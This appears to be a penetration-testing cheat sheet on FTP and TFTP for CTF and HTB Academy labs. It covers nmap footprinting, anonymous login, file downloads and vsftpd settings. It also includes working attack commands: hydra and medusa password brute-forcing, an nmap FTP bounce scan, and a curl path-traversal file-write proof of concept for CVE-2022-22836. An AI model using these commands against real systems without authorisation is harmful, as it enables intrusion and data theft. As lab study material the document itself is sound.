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FTP

Source CTF and HTB Academy

  • Usually on port 21

The File Transfer Protocol (FTP) is one of the oldest protocols on the Internet. The FTP runs within the application layer of the TCP/IP protocol stack. Thus, it is on the same layer as HTTP or POP. These protocols also work with the support of browsers or email clients to perform their services. There are also special FTP programs for the File Transfer Protocol.

Footprinting

  • find / -type f -name ftp* 2>/dev/null | grep scripts find all the nmap scripts for ftp and choose the ones you wish to use

  • sudo nmap -sV -p21 -sC -A 10.129.14.136

  • nc -nv 10.129.14.136 21

  • telnet 10.129.14.136 21

  • openssl s_client -connect 10.129.14.136:21 -starttls ftp

What to try

  • Check if anonymous FTP is enabled, if so check if you can downloads files. If so you can RCE. Check out Hackthebox Devel's writeup to have an example of this.

  • If you do not have write access you could still find interesting and useful files like passwords or else.

vsftpd

One of the most used FTP servers on Linux-based distributions is vsFTPd.

  • sudo apt install vsftpd install it

  • cat /etc/vsftpd.conf | grep -v "#" interesting config to check

  • cat /etc/ftpusers file used to deny certain users access to the FTP service

Config for anonymous login

Setting
Description

anonymous_enable=YES

Allowing anonymous login?

anon_upload_enable=YES

Allowing anonymous to upload files?

anon_mkdir_write_enable=YES

Allowing anonymous to create new directories?

no_anon_password=YES

Do not ask anonymous for password?

anon_root=/home/username/ftp

Directory for anonymous.

write_enable=YES

Allow the usage of FTP commands: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE?

Anonymous login

  • ftp <TARGET-IP> <port> you will need to specify the port in case it is not port 21 if it is 21 you do not need to specify

Download ftp files

  • wget -m --no-passive ftp://username:password@IP:2121 --starttls ftp

  • wget ftp://username:password@ftp_server_address/path/to/file

lftp

  • lftp man page

  • sudo apt install lftp

  • lftp -p 2121 -u anonymous, 10.10.10.10

Interesting commands

  • status will show configurations

  • debug

  • trace

  • ls -R list file recursively

  • get filename download a file

  • put filename upload a file

  • wget -m --no-passive ftp://anonymous:anonymous@10.129.14.136 Downaload all available files

    • tree . inspect all files downloaded

  • Upload a file

    • touch file create a file

    • put file put it in the ftp server

  • PASV enter passive mode

  • Do not forget ls -al (to see hidden files)

Setting
Description

dirmessage_enable=YES

Show a message when they first enter a new directory?

chown_uploads=YES

Change ownership of anonymously uploaded files?

chown_username=username

User who is given ownership of anonymously uploaded files.

local_enable=YES

Enable local users to login?

chroot_local_user=YES

Place local users into their home directory?

chroot_list_enable=YES

Use a list of local users that will be placed in their home directory?

hide_ids=YES

All user and group information in directory listings will be displayed as "ftp".

ls_recurse_enable=YES

Allows the use of recurse listings.

TFTP

Trivial File Transfer Protocol (TFTP) is simpler than FTP and performs file transfers between client and server processes. However, it does not provide user authentication and other valuable features supported by FTP. In addition, while FTP uses TCP, TFTP uses UDP, making it an unreliable protocol and causing it to use UDP-assisted application layer recovery.

Commands
Description

connect

Sets the remote host, and optionally the port, for file transfers.

get

Transfers a file or set of files from the remote host to the local host.

put

Transfers a file or set of files from the local host onto the remote host.

quit

Exits tftp.

status

Shows the current status of tftp, including the current transfer mode (ascii or binary), connection status, time-out value, and so on.

verbose

Turns verbose mode, which displays additional information during file transfer, on or off.

Bruteforcing

medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp
medusa -U users2.list -P pws.list -h 10.129.120.4 -M ftp -n 2121
hydra -l user -p password ftp://10.10.10.10
hydra -L user.list -P password.list ftp://10.10.10.10

FTP Bounce Attack

An FTP bounce attack is a network attack that uses FTP servers to deliver outbound traffic to another device on the network. The attacker uses a PORT command to trick the FTP connection into running commands and getting information from a device other than the intended server.

Consider we are targetting an FTP Server FTP_DMZ exposed to the internet. Another device within the same network, Internal_DMZ, is not exposed to the internet. We can use the connection to the FTP_DMZ server to scan Internal_DMZ using the FTP Bounce attack and obtain information about the server's open ports. Then, we can use that information as part of our attack against the infrastructure.

Source GeeksforGeeks

The Nmap -b flag can be used to perform an FTP bounce attack:

nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2

CVEs on FTP

  • CVE-2022-22836 This vulnerability is for an FTP service that does not correctly process the HTTP PUT request and leads to an authenticated directory/path traversal, and arbitrary file write vulnerability. This vulnerability allows us to write files outside the directory to which the service has access. Exploitation

    curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops

Resources

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